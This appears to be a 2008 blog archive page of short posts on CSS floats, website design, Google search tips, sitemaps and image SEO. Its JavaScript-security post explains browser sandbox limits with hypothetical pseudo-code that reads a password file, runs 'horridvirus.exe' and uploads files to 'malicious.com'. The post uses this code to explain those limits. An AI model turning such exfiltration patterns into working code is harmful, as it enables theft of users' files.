Posts Tagged ‘images’

CSS Floats

Tuesday, November 18th, 2008

What Floats?

You can’t float every element on a Web page. To get technical, you can only float block-level elements. These are the elements that take up a block of space on the page, like images (), paragraphs (

), divisions (

), and lists (

    ). Other elements that affect text, but don’t create a box on the page are called inline elements and can’t be floated. These are elements like span (), line breaks (
    ), strong emphasis (), or italics ().

    Where Do They Float?

    You can float elements to the right or the left. Any element that follows the floated element will flow around the floated element on the other side.

    For example, if I float an image to the left, any text or other elements following it will flow around it to the right. See the example. And if I float an image to the right, any text or other elements following it will flow around it to the left. See the example. An image that is placed in a block of text without any float style applied to it will display as the browser is set to display images. This is usually with the first line of following text displayed at the bottom of the image. See the example.
    How Far Will They Float?

    An element that has been floated will move as far to the left or right of the container element as it can. This results in several different situations depending upon how your code is written. For these examples, I will be floating a small

    to the left:

    * If the floated element does not have a pre-defined width, it will take up as much horizontal space as required and available, regardless of the float. Note: some browsers attempt to place elements beside floated elements when the width isn’t defined - usually giving the non-floated element only a small amount of space. So you should always define a width on floated elements.
    * If the container element is the HTML , the floated div will sit on the left margin of the page.
    * If the container element is itself contained by something else, the floated div will sit on the left margin of the container.
    * You can nest floated elements, and that can result in the float ending up in a surprising place. For example, this float is a left floated div inside a right floated div.
    * Floated elements will sit next to each other if there is room in the container. For example, this container has 3 100px wide divs floated in a 400px wide container.

    You can even use floats to create a photo gallery layout. You put each thumbnail (it works best when they are all the same size) in a DIV with the caption and the float the divs in the container. No matter how wide the browser window is, the thumbnails will line up uniformly.
    Turning Off the Float

    Once you know how to get an element to float, it’s important to know how to turn off the float. You turn off the float with the CSS clear property. You can clear left floats, right floats or both:

    clear: left;
    clear: right;
    clear: both;

    Any element that you set the clear property for will appear below an element that is floated that direction. For example, in this example the first two paragraphs of text are not cleared, but the third is.

    Play with the clear value of different elements in your documents to get different layout effects. One of the most interesting floated layouts is a series of images down the right or left column next to paragraphs of text. Even if the text is not long enough to scroll past the image, you can use the clear on all the images to make sure that they appear in the column rather than next to the previous image.

    Images floated to the left and to the right.

    The HTML (repeat this paragraph):

    Mali with car Duis aute irure dolor sed do eiusmod tempor incididunt in reprehenderit in voluptate. Cupidatat non proident, ut labore et dolore magna aliqua.

    The CSS (to float the images to the left):

    img.float { float:left;clear:left; margin:5px;}

    And to the right:

    img.float { float:right;clear:right; margin:5px;}

    Using Floats for Layout

    Once you understand how the float property works, you can start using it to lay out your Web pages. These are the steps I take to create a floated Web page:

    * Design the layout (on paper or in a graphics tool or in my head).
    * Determine where the site divisions are going to be.
    * Determine the widths of the various containers and the elements within them.
    * Float everything. Even the outermost container element is floated to the left so that I know where it will be in relation to the browser view port.

    Web Site Design

    Thursday, September 25th, 2008

    A Web site is a collection of information about a particular topic or subject. Designing a web site is defined as the arrangement and creation of web pages that in turn make up a web site. A web page consists of information for which the web site is developed. A web site might be compared to a book, where each page of the book is a web page.

    There are many aspects (design concerns) in this process, and due to the rapid development of the Internet, new aspects may emerge. For non-commercial web sites, the goals may vary depending on the desired exposure and response. For typical commercial web sites, the basic aspects of design are:

    * The content: the substance, and information on the site should be relevant to the site and should target the area of the public that the website is concerned with.
    * The usability: the site should be user-friendly, with the interface and navigation simple and reliable.
    * The appearance: the graphics and text should include a single style that flows throughout, to show consistency. The style should be professional, appealing and relevant.
    * The visibility: the site must also be easy to find via most, if not all, major search engines and advertisement media.

    A web site typically consists of text and images. The first page of a web site is known as the Home page or Index. Some web sites use what is commonly called a Splash Page. Splash pages might include a welcome message, language or region selection, or disclaimer. Each web page within a web site is an HTML file which has its own URL. After each web page is created, they are typically linked together using a navigation menu composed of hyperlinks. Faster browsing speeds have led to shorter attention spans and more demanding online visitors and this has resulted in less use of Splash Pages, particularly where commercial web sites are concerned.

    Once a web site is completed, it must be published or uploaded in order to be viewable to the public over the internet. This may be done using an FTP client. Once published, the web master may use a variety of techniques to increase the traffic, or hits, that the web site receives. This may include submitting the web site to a search engine such as Google or Yahoo, exchanging links with other web sites, creating affiliations with similar web sites, etc.

    Javascript-Security

    Wednesday, July 16th, 2008

    Client–side JavaScript has expressly been developed for use in a web browser in conjunction with HTML pages. This has certain consequences for security.

    First of all, please note carefully what happens when a user visits a JavaScript–enhanced web site:
    The user asks for a certain HTML page without knowing whether it contains JavaScript. The HTML page is delivered to the browser, including the scripts. The scripts usually run automatically when the page loads or when the user takes a certain action. In general the user can’t do anything to stop the scripts (well, he could turn off JavaScript, but few end users know how to do this, or that it can be done, or that JavaScript exists).

    So basically an innocent end user downloads a random program and allows it to be executed on his machine. Therefore there should be strict rules as to what this program can and cannot do.

    1. JavaScript cannot read files from or write them to the file system on the computer. This would be a clear security hazard

    filesystem.read(’/my/password/file’);
    filesystem.write(’horridvirus.exe’);

    2. JavaScript cannot execute any other programs. This would also be unacceptable

    execute(’horridvirus.exe’)

    3. JavaScript cannot establish any connection to whatever computer, except to download a new HTML page or to send mail. This, too, would create unacceptable hazards:

    var security_hazard = connection.open(’malicious.com’);
    security_hazard.upload(filesystem.read(’/my/password/file’));
    security_hazard.upload(filesystem.read(’/ultra_secret/loans.xls’));

    Thus JavaScript simply cannot do such dangerous things. Unfortunately Microsoft has seen fit to add some filesystem commands nonetheless, in combination with its ActiveX technology. This means that Explorer on Windows is structurally less safe than any other browser. It has some built–in protection, but hackers regularly find weaknesses. The first JavaScript virus I heard of works in such a way.

    So JavaScript only works on things that are in HTML pages or part of the browser. You cannot influence anything that’s not contained by the browser. But even within the browser there are some no–go areas. Basically JavaScript wants to protect the privacy of the user by disallowing some actions and asking permission for others:

    1. You cannot read out the history of the browser. Thus a malicious site owner cannot write a script that finds out where you surfed to recently.
    You can go back or forward in the browsing history, but you cannot find out which page you’ll go to.
    2. You cannot do anything in pages that come from another server. So if your frameset contains two pages from two servers, they cannot communicate with each other. Thus a malicious site owner cannot find out which sites you’ve opened in other browser windows. See the frame busting page for some more information.
    3. You cannot set the value of a file upload field (<input type=”file”>).

    document.forms[0].upload_field.value = ‘/my/password/file’;
    document.forms[0].submit();

    4. If you try to close a browser window that has not been opened by JavaScript, the user is asked to confirm this action.
    However, this rule isn’t implemented in all browsers and is easy to work around in Explorer.
    5. If you try to submit a form to a mail address by JavaScript, the user is asked to confirm this action.
    6. You should not be able to open a new window smaller than 100×100 pixels and/or to position it outside the screen area of the computer. Thus a malicious site owner cannot spawn an invisible window.
    Note that Explorer on Windows (and maybe other browsers, too) does allow this, contrary to safety regulations.

    Thus JavaScript is a scripting language for influencing HTML elements, like forms, images, layers, paragraphs and such, and for influencing a few non–HTML objects like the browser window. Nothing more, but (most importantly) nothing less.

    ABOUT MAPS-GOOGLE

    Tuesday, July 15th, 2008

    <maps.google.com>: What’s different? You can click-n-drag across the maps; fast magnification of specific spots along the map; satellite and hybrid images - all using Web 2.0

    See these Google Maps mashups (web application hybrids):

    * HousingMaps.com: marriage of Google Maps and Craigslist real estate postings
    * Gmaps Pedometer | MapMyRun.com: virtual pedometer
    * NYsee.net: traffic webcams
    * Traffic info
    * ChicagoCrime.org | NewHavenCrimeLog: track local crimes
    * CellReception.com: cell towers near you
    * HotOrNot + Google Maps
    * MapYourAncestors.com
    * LifeHack.org’s Google Maps resources
    * Google Earth (PC and Mac, recently updated)
    * Google Moon | Google Mars
    * Read my column on creating your own Google Maps

    Create Site Map and Google XML Map

    Monday, July 14th, 2008

    Every website needs a Sitemap big or small. Sitemap should be linked to from every page on your site. A site map will help users and search engine robots find all the important pages on your site with just two clicks. This is especially helpful if your site has a hard-to-crawl navigation menu like java script or images based navigation. For WordPress blogs I recommend downloading this free sitemap generator plugin. You can see example on my sitemap page.

    Smaller sites can use second navigation bar in the footer that will act as a small mini site map. This is nothing more than all your important pages as links in the footer.

    By submitting a XML Sitemap to a search engine, you are making easier for that engine’s crawlers to crawl and index pages of your site. As Google describes it in this article

    “Sitemaps are particularly beneficial when users can’t reach all areas of a website through a browseable interface.”

    For regular websites there are many free online xml sitemap generators, just Google it but for your WordPress blog you can use this free Google XML sitemap generator plugin as it will also create Robots.txt file which is the next Free SEO Tip.

    20 Tips for More Efficient Google Searches

    Monday, July 14th, 2008

    For millions of people Google is an indispensable search tool that they use every day, in all facets of their lives. From work or school, research, to looking up movies and celebrities to news and gossip, Google is the go-to search engine.

    But instead of just typing in a phrase and wading through page after page of results, there are a number of ways to make your searches more efficient.

    Some of these are obvious ones, that you probably know about. But others are lesser-known, and others are known but not often used. Use this guide to learn more about, or be reminded of, some of the best ways to get exactly what you’re looking for, and quickly.

    1. Either/or. Google normally searches for pages that contain all the words you type in the search box, but if you want pages that have one term or another (or both), use the OR operator — or use the “|” symbol (pipe symbol) to save you a keystroke. [dumb | little | man]

    2. Quotes. If you want to search for an exact phrase, use quotes. ["dumb little man"] will only find that exact phrase. [dumb "little man"] will find pages that contain the word dumb and the exact phrase “little man”.

    3. Not. If you don’t want a term or phrase, use the “-” symbol. [-dumb little man] will return pages that contain “little” and “man” but that don’t contain “dumb”.

    4. Similar terms. Use the “~” symbol to return similar terms. [~dumb little man -dumb] will get you pages that contain “funny little man” and “stupid little man” but not “dumb little man”.

    5. Wildcard. The “*” symbol is a wildcard. This is useful if you’re trying to find the lyrics to a song, but can’t remember the exact lyrics. [can't * me love lyrics] will return the Beatles song you’re looking for. It’s also useful for finding stuff only in certain domains, such as
    educational information: ["dumb little man" research *.edu].

    6. Advanced search. If you can’t remember any of these operators, you can always use Google’s advanced search.

    7. Definitions. Use the “define:” operator to get a quick definition. [define:dumb] will give you a whole host of definitions from different sources, with links.

    8. Calculator. One of the handiest uses of Google, type in a quick calculation in the search box and get an answer. It’s faster than calling up your computer’s calculator in most cases. Use the +, -, *, / symbols and parentheses to do a simple equation.

    9. Numrange. This little-known feature searches for a range of numbers. For example, ["best books 2002..2007] will return lists of best books for each of the years from 2002 to 2007 (note the two periods between the two numbers).

    10. Site-specific. Use the “site:” operator to search only within a certain website. [site:dumblittleman.com leo] will search for the term “leo” only within this blog.

    11. Backlinks. The “link:” operator will find pages that link to a specific URL. You can use this not only for a main URL but even to a specific page. Not all links to an URL are listed, however.

    12. Vertical search. Instead of searching for a term across all pages on the web, search within a specialized field. Google has a number of specific searches, allowing you to search within blogs, news, books, and much more:

    * Blog Search

    * Book Search

    * Scholar

    * Catalogs

    * Code Search

    * Directory

    * Finance

    * Images

    * Local/Maps

    * News

    * Patent Search

    * Product Search

    * Video

    13. Movies. Use the “movie:” operator to search for a movie title along with either a zip code or U.S. city and state to get a list of movie theaters in the area and show times.

    14. Music. The “music:” operator returns content related to music only.

    15. Unit converter. Use Google for a quick conversion, from yards to meters for example, or different currency: [12 meters in yards]

    16. Types of numbers: Google algorithms can recognize patterns in numbers you enter, so you can search for:

    * Telephone area codes

    * Vehicle ID number (US only)

    * Federal Communications Commission (FCC) equipment numbers (US only)

    * UPC codes

    * Federal Aviation Administration (FAA) airplane registration number (US only)

    * Patent numbers (US only)

    * Even stock quotes (using the stock symbol) or a weather forecast regarding the next five days

    17. File types. If you just want to search for .PDF files, or Word documents, or Excel spreadsheets, for example, use the “filetype:” operator.

    18. Location of term. By default, Google searches for your term throughout a web page. But if you just want it to search certain locations, you can use operators such as “inurl:”, “intitle:”, “intext:”, and “inanchor:”. Those search for a term only within the URL, the title,
    the body text, and the anchor text (the text used to describe a link).

    19. Cached pages. Looking for a version of a page the Google stores on its own servers? This can help with outdated or update pages. Use the “cached:” operator.

    20. Answer to life, the universe, and everything. Search for that phrase, in lower case, and Google will give you the answer.

    Google Shares Three Ranking Philosophies

    Monday, July 14th, 2008

    The Google Search Quality Team is keeping its promise to explain more about how they conduct their work. As usual and expected, it’s fantastically vague, but since a chunk of our readers at any given time are new to search, it’s worth going over.

    Writing on the Official Google blog, Amit Singhal, a Google Fellow on the Core Ranking Team, defines Google ranking:

    “Google ranking is a collection of algorithms used to find the most relevant documents for a user query. We do this for hundreds of millions of queries a day, from a collection of billions and billions of pages. These algorithms are run for every query entered into most of Google’s search services. While our web search is the most used Google search service and the most widely known, the same ranking algorithms are also used - with some modifications - for other Google search services, including Images, News, YouTube, Maps, Product Search, Book Search, and more.”

    Then he gave three philosophies that the Core Ranking Team follows:

    1) Best locally relevant results served globally.
    2) Keep it simple.
    3) No manual intervention.

    Singhal says that the team strives for simplicity in their architecture, something that Twitter has been struggling with lately. Obviously, with all the queries conducted and the massive amount of content to be indexed, it coud be easy to piece together a very complex architecture (similar to Google’s woes with their ad products). With approximately 10 ranking updates per week, Singhal says the team takes simplicity in architecture into consideration in every single update.

    Singhal also emphasized philosophy #3 - that Google does not hand edit results.

    “You are the ones creating pages and linking to pages. We are using all this human contribution through our algorithms. The final ordering of the results is decided by our algorithms using the contributions of the greater Internet community, not manually by us.”

    SEO : Nomenclatures

    Thursday, June 26th, 2008

    Whenever possible, you should save your images, media, and web pages with the keywords in the file names. For example, if your keyword phrase is “golf putters” you’ll want to save the images used on that page as golf-putters-01.jpg or golf_putters_01.jpg (either will work). It’s not confirmed, but many SEO’s have experienced improvement in ranking by renaming images and media.

    More important is your web page’s filename, since many search engines now allow users to query using “inurl:” searches. Your filename for the golf putters page could be golf-putters.html or golf_putters.html. Anytime there is an opportunity to display or present content, do your best to insure the content has the keywords in the filename (as well as a Title or ALT attribute).

    Quick Search Engine Optimization for your images

    Thursday, June 26th, 2008

    Hope you’re already aware of Image Optimization. Designers out there may immediately think about the gif format and image compression, but this is clearly not anything related to reducing image size.

    SEO and images are a bit old school I agree. Gone are the days when you had to insert keywords into your ALT tags and get a better rank than your competitor.
    In fact, Google has changed it’s algorithm to filter out these “weeds” who’d do anything and everything from stuffing keywords to title spamming to get a better rank.

    Though I agree that Search Engine Optimizing your images won’t give you any edge to directly push you over the top of the SERPs, I stick to the idea that they are not completely negligible.

    Go Beyond Text in Your Posts

    Thursday, June 19th, 2008

    logs that contain nothing but line after line of text are more difficult to read and less consistently interesting than those that offer images, interactive elements, the occassional multimedia content and some clever charts & graphs. Even if you’re having a tough time with non-text content, think about how you can format the text using blockquotes, indentation, bulllet points, etc. to create a more visually appealing and digestable block of content.
    -